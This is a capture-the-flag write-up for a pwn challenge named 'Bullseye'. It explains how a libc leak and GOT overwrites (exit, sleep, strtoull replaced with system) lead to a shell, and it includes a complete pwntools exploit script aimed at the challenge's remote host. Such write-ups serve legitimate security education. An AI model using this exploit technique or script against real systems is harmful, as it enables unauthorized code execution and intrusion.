Bullseye

It takes an address and number in hex, then writes the number to the address. The hex is parsed by strtoull which will be useful later.

After writing, it calls sleep(0xf), then prints the address of alarm and calls exit. The address of alarm gives us a libc leak. Partial RELRO, so GOT overwrite is possible. Here's what we do:

  1. Overwrite exit@got with main. When it attempts to exit after printing a libc pointer to us, it'll call main, giving us another write

  2. Overwrite sleep@got with main(we couldn't do this before as alarm is called after sleep but we dont need anymore leaks) so that the alarm doesnt catch us out and our exploit is quick from then on

  3. Overwrite strtoull@got with system so next time it tries to turn our input to hex it calls system on it

  4. Enter /bin/sh as the next address

Shell will be popped, we can cat flag.txt.

from pwn import *
import time
e = ELF("./bullseye")
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_amd64/libc.so.6")
p = e.process() if args.LOCAL else remote('jh2i.com', 50031)
p.recvlines(2)
def write(addr,value,sleep=False):
    output = None
    p.recvline()
    p.sendline(hex(addr))
    p.recvline()
    p.sendline(hex(value))
    if sleep:
        log.info(f"Sleeping...")
        time.sleep(0xf)
        log.info(F"Finished with sleep")
        output = int(p.recvline(),16)
    p.recvlines(2)
    return output
# Set exit to main to get another leak and call main again for more writes(one write? says WHO)
leak = write(e.got['exit'],e.symbols['main'],sleep=True)
log.info(f"Libc leak: {hex(leak)}")
libc.address = leak - libc.symbols['alarm']
log.info(f"Libc base: {hex(libc.address)}")
# Set sleep to main because we dont need more leaks and its annoying
write(e.got['sleep'],e.symbols['main'])
# Let's start the main exploit process
# Overwrite strtoull with system so whenever it tries to parse input, it'll call system
write(e.got['strtoull'],libc.symbols['system'])
# Now we enter /bin/sh into prompt
p.recvline()
p.sendline("/bin/sh")
p.interactive()

Last updated